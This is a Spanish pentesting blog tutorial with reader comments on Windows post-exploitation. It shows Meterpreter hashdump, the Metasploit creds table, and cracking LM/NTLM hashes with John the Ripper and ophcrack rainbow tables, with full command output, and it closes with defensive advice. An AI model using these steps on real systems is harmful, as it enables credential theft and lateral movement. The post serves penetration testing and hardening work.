Post-explotación con John the Ripper y ophcrack

El objetivo que se fija un pentester a la hora de hacer un test de intrusión se resumiría básicamente en intentar saber hasta donde es capaz de llegar. Por regla general, si conseguimos vulnerar una máquina que se encuentre seguramente en una DMZ, estaremos en una posición ventajosa para acceder a recursos que no están accesibles directamente desde Internet. Todo depende claro está de cómo de restringida se encuentre dicha máquina.

Una técnica que se suele utilizar y que sorprendentemente da buenos resultados es conseguir las credenciales de administrador del equipo vulnerado y comprobar si el resto de máquinas accesibles comparten la misma contraseña. En el caso de sistemas Windows, el sistema operativo almacena las contraseñas cifradas en el fichero SAM con los algoritmos LM o NTLM. En sistemas anteriores a Windows Vista o Windows 2008, el algoritmo de cifrado por defecto es LM. Desgraciadamente (o por suerte para el pentester) este cifrado es muy débil por su diseño: soporta un tamaño máximo de contraseña de 14 caracteres, no distingue mayúsculas de minúsculas, almacena el hash en dos mitades de 7 caracteres, y no añade «sal» en el almacenamiento para añadirle aleatoriedad, haciéndolo muy vulnerable a ataques por fuerza bruta o por tablas precomputadas.

Vamos a plantear una situación, en la que el pentester ha conseguido vulnerar una máquina Windows, utilizando algún exploit con el framework Metasploit, y obteniendo una sesión de meterpreter en el equipo víctima. Aprovechando las herramientas de post-explotación que dispone, conseguirá recuperar los hashes de las contraseñas para poder descifrarlas usando como ejemplo tanto herramientas de fuerza bruta como de tablas precomputadas.

Empezamos recuperando los hashes almacenados en la SAM:

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 585b74c7ff838e022f0eec1055101b13...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:b15d5d5481a42f69a833d08036fe8423:88fb91f49c1bfbeebfb3531f241c887a:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:34cfaa8dea7015716ae64fefd9c7f205:::
victima:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

Este paso ha sido fácil, pero en la jungla salvaje no suele ser tan sencillo. Sin profundizar mucho sobre el tema, a veces necesitaremos permisos de Administrador o SYSTEM y habrá que escalar privilegios. La shell de meterpreter tiene varios métodos, aunque el más sencillo son los comandos priv y getsystem. Si escalando privilegios tampoco tuviéramos permiso para recuperar la SAM, es posible que sea necesario migrar el proceso de meterpreter al uid de un proceso creado por SYSTEM. Normalmente lsass.exe suele reunir dichas características.

Salimos de la sesion de meterpreter con la orden

meterpreter > background

Una mejora importante que han incluido en la versión 4 de Metasploit es que han integrado la base de datos dentro del core, por lo que ahora por defecto toda información que vayamos recuperando se irá almacenando automáticamente en un workspace de la base de datos. Estos datos podrán ser entonces utilizados por otros plugins. Vamos a comprobar que efectivamente los hashes están almacenados:

msf > creds

Credentials
===========

host port user pass type active?
---- ---- ---- ---- ---- -------
10.10.10.124 445 Administrator e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c smb_hash true
10.10.10.124 445 Guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 smb_hash true
10.10.10.124 445 HelpAssistant b15d5d5481a42f69a833d08036fe8423:88fb91f49c1bfbeebfb3531f241c887a smb_hash true
10.10.10.124 445 SUPPORT_388945a0 aad3b435b51404eeaad3b435b51404ee:34cfaa8dea7015716ae64fefd9c7f205 smb_hash true
10.10.10.124 445 victima e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c smb_hash true

[*] Found 5 credentials.

Comenzaremos utilizando el módulo de John the Ripper, introducido en la versión 4 de Metasploit. Su uso es extremadamente sencillo. Solo hay que cargar el módulo y lanzarlo. Él ya se encargará de leer los hashes del workspace donde estemos y darles caña.

msf > use auxiliary/analyze/jtr_crack_fast
msf auxiliary(jtr_crack_fast) > run

[*] Seeded the password database with 6 words...
guesses: 2 time: 0:00:00:04 DONE (Thu Aug 25 18:11:06 2011) c/s: 8170K trying: WNO1900 - ZZZ1900
Warning: passwords printed above might be partial and not be all those cracked
[cut]

Después de unos pocos instantes (en este caso, todo depende de la potencia de proceso del equipo) JtR termina informando que ha descifrado de forma exitosa los hashes. Veamos ahora que hay en la base de datos:

msf auxiliary(jtr_crack_fast) > creds

Credentials
===========

host port user pass type active?
---- ---- ---- ---- ---- -------
10.10.10.124 445 Administrator e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c smb_hash true
10.10.10.124 445 Guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 smb_hash true
10.10.10.124 445 HelpAssistant b15d5d5481a42f69a833d08036fe8423:88fb91f49c1bfbeebfb3531f241c887a smb_hash true
10.10.10.124 445 SUPPORT_388945a0 aad3b435b51404eeaad3b435b51404ee:34cfaa8dea7015716ae64fefd9c7f205 smb_hash true
10.10.10.124 445 victima e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c smb_hash true
10.10.10.124 445 Administrator password password true
10.10.10.124 445 Guest password true
10.10.10.124 445 victima password password true

[*] Found 8 credentials.

Ha actualizado la tabla de credenciales con las contraseñas descubiertas para cada usuario. Como se puede observar, la contraseña de administrador es “password”. Obviamente es una contraseña muy sencilla, de diccionario y no excesivamente larga. Si pusiéramos una palabra con caracteres especiales el módulo de Metasploit ahora mismo no sería capaz de descifrarlas, puesto que la adaptación de JtR a Metasploit está en una fase muy temprana y no permite ahora mismo configurar las opciones. Además, al añadirle complejidad a la contraseña, el tiempo de computación sería bastante más alto y quizás no crackee los hashes en un tiempo razonable.

Para estos casos, utilizar rainbow tables o tablas precomputadas es la solución ideal. Usaremos como ejemplo la herramienta ophcrack. Se encuentra disponible en la mayoría de distribuciones y su interfaz gráfica es muy sencilla de usar. Hará falta descargar aparte las rainbow tables. En la misma web [http://ophcrack.sourceforge.net/download.php] se pueden conseguir algunas tablas de forma gratuita.

spanker@Zerus:~$ ophcrack-cli -d rainbowtables/ -t special,0,3:tables_xp_free_fast,0,3 -f hashdump
3 hashes have been found in hashdump.
Opened 2 table(s) from rainbowtables//special,0,3.
Opened 2 table(s) from rainbowtables//tables_xp_free_fast,0,3.
0h 0m 5s; Found password CHUNG4 for 2nd LM hash #0in table XP free fast #3 at column 4859.
0h 0m 10s; Found password PAL4BR@ for 1st LM hash #0in table XP special #0 at column 17711.
0h 0m 10s; Found password Pal4br@Chung4 for user victima (NT hash #0)
0h 0m 10s; search (100%); tables: total 4, done 0, using 3; pwd found 1/1.

Results:

username / hash LM password NT password
victima PAL4BR@CHUNG4 Pal4br@Chung4

Podemos observar que en tan solo 10 segundos ha conseguido crackear una contraseña compleja, “Pal4br@Chung4”. Obtenida la contraseña de administrador en texto plano, podemos probar a autenticarnos con dicha credencial en los servicios que sean visibles desde la máquina vulnerada, y a cruzar los dedos!

Este ejemplo sencillo de intrusión, sin embargo, se podría haber evitado si se hubieran tomado las siguiente medidas:

  • Nunca repetir contraseña en ningún servicio de ningún equipo. Si alguna de esas contraseñas sale a la luz, te evitas que el fallo de seguridad se propague a otros servicios.
  • Deshabilitar el uso de LM a la hora de almacenar las contraseñas en la SAM. Forzar el uso de NTLM.
  • Utilizar contraseñas fuertes. Si son de más de 14 caracteres también estás forzando a que se almacene solo con NTLM.
  • Aislar en la mayor medida de lo posible las máquinas de la red DMZ del resto de equipos. Que tenga visibilidad de únicamente los servicios que le sean estrictamente necesarios.

Nada más por hoy. Pasen un buen fin de semana.

Comments

  1. Solo hacer un mini apunte dices que los passwords se enecuentran en el fichero SAM, en realidad si el equipo está en dominio tienes usuarios y passwords cacheados aqui HKEY_LOCAL_MACHINE\SECURITY\CACHE\NL y si no recuerdo mal habia algo asi como cachedump para volcarlas a un txt o almenos era así hasta windows 2003. Esto te permite si o hay una buena polica de seguridad acceder muchas veces hasta la cocina o es al menos lo que me han contado :P.

  2. Buenos días,

    no exactamente. Cuando se trata del sistema de ficheros, los passwords locales se encuentran en la SAM y si es un DC se encuentran en el fichero ntds.dit.

    Cuando «arranca» un Win, el proceso LSASS carga en memoria todas las contraseñas, las cuales han sido leidas del fichero ntds.dit o del SAM dependiendo el tipo de servidor que se trate, DC o no. Lo que se hace es inyectar una DLL en dicho proceso para que te vuelque los hashes de los usuarios. Es en este proceso de inyección, que dependiendo de la versión, el DEP o el Antivirus te pueden parar la extracción de las contraseñas o incluso dejar colgado el entorno.

    Lo que tu comentas es otra cosa distinta. Windows guarda los 10 últimos accesos (diferentes), por tanto los 10 últimos logins y contraseñas. Estos datos los almacena en un registro local como tu bien comentas, solo que realmente es NLNumero donde Numero va del 1 al 10. El problema de estas contraseñas es que están cifradas empleando la clave LSA. Una vez más amablemente podemos solicitar al LSASS que nos de el LSA, pero necesitaremos crackear ese LSA + el valor del registro para obtener el resultado, pero estos, a diferencia de NTLM y LM, si que usan semilla y por tanto no se puede usar tablas arcoiris…

    Entonces dices ¿para que me voy a liar con la chache dump si puedo tener los haches de todos los usuarios, no solo los diez últimos, cifrados en un algoritmo más debil y que encima permite usar tablas arcoiris? Y si le sumas a eso que Windows te permite autenticarte directamente con el hash sin tener que sacar la contraseña…

    PD: buen post Jose Luí

  3. Ximo buena explicacion, un saludo

  4. No sé por que, pero a mí al ejecutar el hashdump no me guarda las credenciales… y al intentar añadirlas a mano (creds -a ….) me ignora el parámetro -t, donde especifico el tipo smb_hash y lo guarda como password, por lo que el amigo john no hace na!!!

Trackbacks